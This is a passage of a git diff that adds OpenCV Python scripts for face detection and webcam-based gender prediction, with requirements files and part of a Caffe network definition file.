+GENDER_LIST = ['Male', 'Female'] +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +FACE_PROTO = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +FACE_MODEL = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load face Caffe model +face_net = cv2.dnn.readNetFromCaffe(FACE_PROTO, FACE_MODEL) +# Load gender prediction model +gender_net = cv2.dnn.readNetFromCaffe(GENDER_MODEL, GENDER_PROTO) + +# Initialize frame size +frame_width = 1280 +frame_height = 720 + + +def get_faces(frame, confidence_threshold=0.5): + # convert the frame into a blob to be ready for NN input + blob = cv2.dnn.blobFromImage(frame, 1.0, (300, 300), (104, 177.0, 123.0)) + # set the image as input to the NN + face_net.setInput(blob) + # perform inference and get predictions + output = np.squeeze(face_net.forward()) + # initialize the result list + faces = [] + # Loop over the faces detected + for i in range(output.shape[0]): + confidence = output[i, 2] + if confidence > confidence_threshold: + box = output[i, 3:7] * \ + np.array([frame.shape[1], frame.shape[0], + frame.shape[1], frame.shape[0]]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # widen the box a little + start_x, start_y, end_x, end_y = start_x - \ + 10, start_y - 10, end_x + 10, end_y + 10 + start_x = 0 if start_x < 0 else start_x + start_y = 0 if start_y < 0 else start_y + end_x = 0 if end_x < 0 else end_x + end_y = 0 if end_y < 0 else end_y + # append to our list + faces.append((start_x, start_y, end_x, end_y)) + return faces + + +def get_optimal_font_scale(text, width): + """Determine the optimal font scale based on the hosting frame width""" + for scale in reversed(range(0, 60, 1)): + textSize = cv2.getTextSize(text, fontFace=cv2.FONT_HERSHEY_DUPLEX, fontScale=scale/10, thickness=1) + new_width = textSize[0][0] + if (new_width <= width): + return scale/10 + return 1 + +# from: https://stackoverflow.com/questions/44650888/resize-an-image-without-distortion-opencv +def image_resize(image, width = None, height = None, inter = cv2.INTER_AREA): + # initialize the dimensions of the image to be resized and + # grab the image size + dim = None + (h, w) = image.shape[:2] + # if both the width and height are None, then return the + # original image + if width is None and height is None: + return image + # check to see if the width is None + if width is None: + # calculate the ratio of the height and construct the + # dimensions + r = height / float(h) + dim = (int(w * r), height) + # otherwise, the height is None + else: + # calculate the ratio of the width and construct the + # dimensions + r = width / float(w) + dim = (width, int(h * r)) + # resize the image + return cv2.resize(image, dim, interpolation = inter) + + +def predict_gender(): + """Predict the gender of the faces showing in the image""" + # create a new cam object + cap = cv2.VideoCapture(0) + + while True: + _, img = cap.read() + # resize the image, uncomment if you want to resize the image + # img = cv2.resize(img, (frame_width, frame_height)) + # Take a copy of the initial image and resize it + frame = img.copy() + if frame.shape[1] > frame_width: + frame = image_resize(frame, width=frame_width) + # predict the faces + faces = get_faces(frame) + # Loop over the faces detected + # for idx, face in enumerate(faces): + for i, (start_x, start_y, end_x, end_y) in enumerate(faces): + face_img = frame[start_y: end_y, start_x: end_x] + # image --> Input image to preprocess before passing it through our dnn for classification. + # scale factor = After performing mean substraction we can optionally scale the image by some factor. (if 1 -> no scaling) + # size = The spatial size that the CNN expects. Options are = (224*224, 227*227 or 299*299) + # mean = mean substraction values to be substracted from every channel of the image. + # swapRB=OpenCV assumes images in BGR whereas the mean is supplied in RGB. To resolve this we set swapRB to True. + blob = cv2.dnn.blobFromImage(image=face_img, scalefactor=1.0, size=( + 227, 227), mean=MODEL_MEAN_VALUES, swapRB=False, crop=False) + # Predict Gender + gender_net.setInput(blob) + gender_preds = gender_net.forward() + i = gender_preds[0].argmax() + gender = GENDER_LIST[i] + gender_confidence_score = gender_preds[0][i] + # Draw the box + label = "{}-{:.2f}%".format(gender, gender_confidence_score*100) + print(label) + yPos = start_y - 15 + while yPos < 15: + yPos += 15 + # get the font scale for this image size + optimal_font_scale = get_optimal_font_scale(label,((end_x-start_x)+25)) + box_color = (255, 0, 0) if gender == "Male" else (147, 20, 255) + cv2.rectangle(frame, (start_x, start_y), (end_x, end_y), box_color, 2) + # Label processed image + cv2.putText(frame, label, (start_x, yPos), + cv2.FONT_HERSHEY_SIMPLEX, optimal_font_scale, box_color, 2) + + # Display processed image + + # frame = cv2.resize(frame, (frame_height, frame_width)) + cv2.imshow("Gender Estimator", frame) + if cv2.waitKey(1) == ord("q"): + break + # uncomment if you want to save the image + # cv2.imwrite("output.jpg", frame) + # Cleanup + cv2.destroyAllWindows() + + + +if __name__ == '__main__': + predict_gender() diff --git a/machine-learning/face-gender-detection/requirements.txt b/machine-learning/face-gender-detection/requirements.txt new file mode 100644 index 00000000..6f1e5232 --- /dev/null +++ b/machine-learning/face-gender-detection/requirements.txt @@ -0,0 +1,2 @@ +opencv-python +numpy \ No newline at end of file diff --git a/machine-learning/face_detection/face_detection_dnn.py b/machine-learning/face_detection/face_detection_dnn.py new file mode 100644 index 00000000..bc16ab13 --- /dev/null +++ b/machine-learning/face_detection/face_detection_dnn.py @@ -0,0 +1,41 @@ +import cv2 +import numpy as np + +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +prototxt_path = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +model_path = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load Caffe model +model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path) + +# read the desired image +image = cv2.imread("kids.jpg") +# get width and height of the image +h, w = image.shape[:2] + +# preprocess the image: resize and performs mean subtraction +blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0)) +# set the image into the input of the neural network +model.setInput(blob) +# perform inference and get the result +output = np.squeeze(model.forward()) +font_scale = 1.0 +for i in range(0, output.shape[0]): + # get the confidence + confidence = output[i, 2] + # if confidence is above 50%, then draw the surrounding box + if confidence > 0.5: + # get the surrounding box cordinates and upscale them to original image + box = output[i, 3:7] * np.array([w, h, w, h]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # draw the rectangle surrounding the face + cv2.rectangle(image, (start_x, start_y), (end_x, end_y), color=(255, 0, 0), thickness=2) + # draw text as well + cv2.putText(image, f"{confidence*100:.2f}%", (start_x, start_y-5), cv2.FONT_HERSHEY_SIMPLEX, font_scale, (255, 0, 0), 2) +# show the image +cv2.imshow("image", image) +cv2.waitKey(0) +# save the image with rectangles +cv2.imwrite("kids_detected_dnn.jpg", image) \ No newline at end of file diff --git a/machine-learning/face_detection/kids_detected_dnn.jpg b/machine-learning/face_detection/kids_detected_dnn.jpg new file mode 100644 index 00000000..b65d452c Binary files /dev/null and b/machine-learning/face_detection/kids_detected_dnn.jpg differ diff --git a/machine-learning/face_detection/live_face_detection_dnn.py b/machine-learning/face_detection/live_face_detection_dnn.py new file mode 100644 index 00000000..ef5befcb --- /dev/null +++ b/machine-learning/face_detection/live_face_detection_dnn.py @@ -0,0 +1,47 @@ +import cv2 +import numpy as np + +# https://raw.githubusercontent.com/opencv/opencv/master/samples/dnn/face_detector/deploy.prototxt +prototxt_path = "weights/deploy.prototxt.txt" +# https://raw.githubusercontent.com/opencv/opencv_3rdparty/dnn_samples_face_detector_20180205_fp16/res10_300x300_ssd_iter_140000_fp16.caffemodel +model_path = "weights/res10_300x300_ssd_iter_140000_fp16.caffemodel" + +# load Caffe model +model = cv2.dnn.readNetFromCaffe(prototxt_path, model_path) + +cap = cv2.VideoCapture(0) + +while True: + + # read the desired image + _, image = cap.read() + # get width and height of the image + h, w = image.shape[:2] + + # preprocess the image: resize and performs mean subtraction + blob = cv2.dnn.blobFromImage(image, 1.0, (300, 300), (104.0, 177.0, 123.0)) + # set the image into the input of the neural network + model.setInput(blob) + # perform inference and get the result + output = np.squeeze(model.forward()) + font_scale = 1.0 + for i in range(0, output.shape[0]): + # get the confidence + confidence = output[i, 2] + # if confidence is above 50%, then draw the surrounding box + if confidence > 0.5: + # get the surrounding box cordinates and upscale them to original image + box = output[i, 3:7] * np.array([w, h, w, h]) + # convert to integers + start_x, start_y, end_x, end_y = box.astype(np.int) + # draw the rectangle surrounding the face + cv2.rectangle(image, (start_x, start_y), (end_x, end_y), color=(255, 0, 0), thickness=2) + # draw text as well + cv2.putText(image, f"{confidence*100:.2f}%", (start_x, start_y-5), cv2.FONT_HERSHEY_SIMPLEX, font_scale, (255, 0, 0), 2) + # show the image + cv2.imshow("image", image) + if cv2.waitKey(1) == ord("q"): + break + +cv2.destroyAllWindows() +cap.release() \ No newline at end of file diff --git a/machine-learning/face_detection/requirements.txt b/machine-learning/face_detection/requirements.txt index 1db7aea1..6f1e5232 100644 --- a/machine-learning/face_detection/requirements.txt +++ b/machine-learning/face_detection/requirements.txt @@ -1 +1,2 @@ -opencv-python \ No newline at end of file +opencv-python +numpy \ No newline at end of file diff --git a/machine-learning/face_detection/weights/deploy.prototxt.txt b/machine-learning/face_detection/weights/deploy.prototxt.txt new file mode 100644 index 00000000..845a067c --- /dev/null +++ b/machine-learning/face_detection/weights/deploy.prototxt.txt @@ -0,0 +1,1790 @@ +input: "data" +input_shape { + dim: 1 + dim: 3 + dim: 300 + dim: 300 +} + +layer { + name: "data_bn" + type: "BatchNorm" + bottom: "data" + top: "data_bn" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "data_scale" + type: "Scale" + bottom: "data_bn" + top: "data_bn" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "conv1_h" + type: "Convolution" + bottom: "data_bn" + top: "conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + pad: 3 + kernel_size: 7 + stride: 2 + weight_filler { + type: "msra" + variance_norm: FAN_OUT + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "conv1_bn_h" + type: "BatchNorm" + bottom: "conv1_h" + top: "conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "conv1_scale_h" + type: "Scale" + bottom: "conv1_h" + top: "conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "conv1_relu" + type: "ReLU" + bottom: "conv1_h" + top: "conv1_h" +} +layer { + name: "conv1_pool" + type: "Pooling" + bottom: "conv1_h" + top: "conv1_pool" + pooling_param { + kernel_size: 3 + stride: 2 + } +} +layer { + name: "layer_64_1_conv1_h" + type: "Convolution" + bottom: "conv1_pool" + top: "layer_64_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_64_1_bn2_h" + type: "BatchNorm" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_64_1_scale2_h" + type: "Scale" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_64_1_relu2" + type: "ReLU" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv1_h" +} +layer { + name: "layer_64_1_conv2_h" + type: "Convolution" + bottom: "layer_64_1_conv1_h" + top: "layer_64_1_conv2_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 32 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_64_1_sum" + type: "Eltwise" + bottom: "layer_64_1_conv2_h" + bottom: "conv1_pool" + top: "layer_64_1_sum" +} +layer { + name: "layer_128_1_bn1_h" + type: "BatchNorm" + bottom: "layer_64_1_sum" + top: "layer_128_1_bn1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_128_1_scale1_h" + type: "Scale" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_bn1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_128_1_relu1" + type: "ReLU" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_bn1_h" +} +layer { + name: "layer_128_1_conv1_h" + type: "Convolution" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_bn2" + type: "BatchNorm" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_128_1_scale2" + type: "Scale" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_128_1_relu2" + type: "ReLU" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv1_h" +} +layer { + name: "layer_128_1_conv2" + type: "Convolution" + bottom: "layer_128_1_conv1_h" + top: "layer_128_1_conv2" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_conv_expand_h" + type: "Convolution" + bottom: "layer_128_1_bn1_h" + top: "layer_128_1_conv_expand_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_128_1_sum" + type: "Eltwise" + bottom: "layer_128_1_conv2" + bottom: "layer_128_1_conv_expand_h" + top: "layer_128_1_sum" +} +layer { + name: "layer_256_1_bn1" + type: "BatchNorm" + bottom: "layer_128_1_sum" + top: "layer_256_1_bn1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_256_1_scale1" + type: "Scale" + bottom: "layer_256_1_bn1" + top: "layer_256_1_bn1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_256_1_relu1" + type: "ReLU" + bottom: "layer_256_1_bn1" + top: "layer_256_1_bn1" +} +layer { + name: "layer_256_1_conv1" + type: "Convolution" + bottom: "layer_256_1_bn1" + top: "layer_256_1_conv1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_bn2" + type: "BatchNorm" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_256_1_scale2" + type: "Scale" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_256_1_relu2" + type: "ReLU" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv1" +} +layer { + name: "layer_256_1_conv2" + type: "Convolution" + bottom: "layer_256_1_conv1" + top: "layer_256_1_conv2" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_conv_expand" + type: "Convolution" + bottom: "layer_256_1_bn1" + top: "layer_256_1_conv_expand" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_256_1_sum" + type: "Eltwise" + bottom: "layer_256_1_conv2" + bottom: "layer_256_1_conv_expand" + top: "layer_256_1_sum" +} +layer { + name: "layer_512_1_bn1" + type: "BatchNorm" + bottom: "layer_256_1_sum" + top: "layer_512_1_bn1" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_512_1_scale1" + type: "Scale" + bottom: "layer_512_1_bn1" + top: "layer_512_1_bn1" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_512_1_relu1" + type: "ReLU" + bottom: "layer_512_1_bn1" + top: "layer_512_1_bn1" +} +layer { + name: "layer_512_1_conv1_h" + type: "Convolution" + bottom: "layer_512_1_bn1" + top: "layer_512_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 128 + bias_term: false + pad: 1 + kernel_size: 3 + stride: 1 # 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_bn2_h" + type: "BatchNorm" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "layer_512_1_scale2_h" + type: "Scale" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "layer_512_1_relu2" + type: "ReLU" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv1_h" +} +layer { + name: "layer_512_1_conv2_h" + type: "Convolution" + bottom: "layer_512_1_conv1_h" + top: "layer_512_1_conv2_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 2 # 1 + kernel_size: 3 + stride: 1 + dilation: 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_conv_expand_h" + type: "Convolution" + bottom: "layer_512_1_bn1" + top: "layer_512_1_conv_expand_h" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + convolution_param { + num_output: 256 + bias_term: false + pad: 0 + kernel_size: 1 + stride: 1 # 2 + weight_filler { + type: "msra" + } + bias_filler { + type: "constant" + value: 0.0 + } + } +} +layer { + name: "layer_512_1_sum" + type: "Eltwise" + bottom: "layer_512_1_conv2_h" + bottom: "layer_512_1_conv_expand_h" + top: "layer_512_1_sum" +} +layer { + name: "last_bn_h" + type: "BatchNorm" + bottom: "layer_512_1_sum" + top: "layer_512_1_sum" + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } + param { + lr_mult: 0.0 + } +} +layer { + name: "last_scale_h" + type: "Scale" + bottom: "layer_512_1_sum" + top: "layer_512_1_sum" + param { + lr_mult: 1.0 + decay_mult: 1.0 + } + param { + lr_mult: 2.0 + decay_mult: 1.0 + } + scale_param { + bias_term: true + } +} +layer { + name: "last_relu" + type: "ReLU" + bottom: "layer_512_1_sum" + top: "fc7" +} + +layer { + name: "conv6_1_h" + type: "Convolution" + bottom: "fc7" + top: "conv6_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_1_relu" + type: "ReLU" + bottom: "conv6_1_h" + top: "conv6_1_h" +} +layer { + name: "conv6_2_h" + type: "Convolution" + bottom: "conv6_1_h" + top: "conv6_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 256 + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_relu" + type: "ReLU" + bottom: "conv6_2_h" + top: "conv6_2_h" +} +layer { + name: "conv7_1_h" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv7_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_1_relu" + type: "ReLU" + bottom: "conv7_1_h" + top: "conv7_1_h" +} +layer { + name: "conv7_2_h" + type: "Convolution" + bottom: "conv7_1_h" + top: "conv7_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 1 + kernel_size: 3 + stride: 2 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_relu" + type: "ReLU" + bottom: "conv7_2_h" + top: "conv7_2_h" +} +layer { + name: "conv8_1_h" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv8_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_1_relu" + type: "ReLU" + bottom: "conv8_1_h" + top: "conv8_1_h" +} +layer { + name: "conv8_2_h" + type: "Convolution" + bottom: "conv8_1_h" + top: "conv8_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_relu" + type: "ReLU" + bottom: "conv8_2_h" + top: "conv8_2_h" +} +layer { + name: "conv9_1_h" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv9_1_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 64 + pad: 0 + kernel_size: 1 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_1_relu" + type: "ReLU" + bottom: "conv9_1_h" + top: "conv9_1_h" +} +layer { + name: "conv9_2_h" + type: "Convolution" + bottom: "conv9_1_h" + top: "conv9_2_h" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 128 + pad: 0 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_relu" + type: "ReLU" + bottom: "conv9_2_h" + top: "conv9_2_h" +} +layer { + name: "conv4_3_norm" + type: "Normalize" + bottom: "layer_256_1_bn1" + top: "conv4_3_norm" + norm_param { + across_spatial: false + scale_filler { + type: "constant" + value: 20 + } + channel_shared: false + } +} +layer { + name: "conv4_3_norm_mbox_loc" + type: "Convolution" + bottom: "conv4_3_norm" + top: "conv4_3_norm_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv4_3_norm_mbox_loc_perm" + type: "Permute" + bottom: "conv4_3_norm_mbox_loc" + top: "conv4_3_norm_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv4_3_norm_mbox_loc_flat" + type: "Flatten" + bottom: "conv4_3_norm_mbox_loc_perm" + top: "conv4_3_norm_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv4_3_norm_mbox_conf" + type: "Convolution" + bottom: "conv4_3_norm" + top: "conv4_3_norm_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv4_3_norm_mbox_conf_perm" + type: "Permute" + bottom: "conv4_3_norm_mbox_conf" + top: "conv4_3_norm_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv4_3_norm_mbox_conf_flat" + type: "Flatten" + bottom: "conv4_3_norm_mbox_conf_perm" + top: "conv4_3_norm_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv4_3_norm_mbox_priorbox" + type: "PriorBox" + bottom: "conv4_3_norm" + bottom: "data" + top: "conv4_3_norm_mbox_priorbox" + prior_box_param { + min_size: 30.0 + max_size: 60.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 8 + offset: 0.5 + } +} +layer { + name: "fc7_mbox_loc" + type: "Convolution" + bottom: "fc7" + top: "fc7_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "fc7_mbox_loc_perm" + type: "Permute" + bottom: "fc7_mbox_loc" + top: "fc7_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "fc7_mbox_loc_flat" + type: "Flatten" + bottom: "fc7_mbox_loc_perm" + top: "fc7_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "fc7_mbox_conf" + type: "Convolution" + bottom: "fc7" + top: "fc7_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "fc7_mbox_conf_perm" + type: "Permute" + bottom: "fc7_mbox_conf" + top: "fc7_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "fc7_mbox_conf_flat" + type: "Flatten" + bottom: "fc7_mbox_conf_perm" + top: "fc7_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "fc7_mbox_priorbox" + type: "PriorBox" + bottom: "fc7" + bottom: "data" + top: "fc7_mbox_priorbox" + prior_box_param { + min_size: 60.0 + max_size: 111.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 16 + offset: 0.5 + } +} +layer { + name: "conv6_2_mbox_loc" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv6_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_mbox_loc_perm" + type: "Permute" + bottom: "conv6_2_mbox_loc" + top: "conv6_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv6_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv6_2_mbox_loc_perm" + top: "conv6_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv6_2_mbox_conf" + type: "Convolution" + bottom: "conv6_2_h" + top: "conv6_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv6_2_mbox_conf_perm" + type: "Permute" + bottom: "conv6_2_mbox_conf" + top: "conv6_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv6_2_mbox_conf_flat" + type: "Flatten" + bottom: 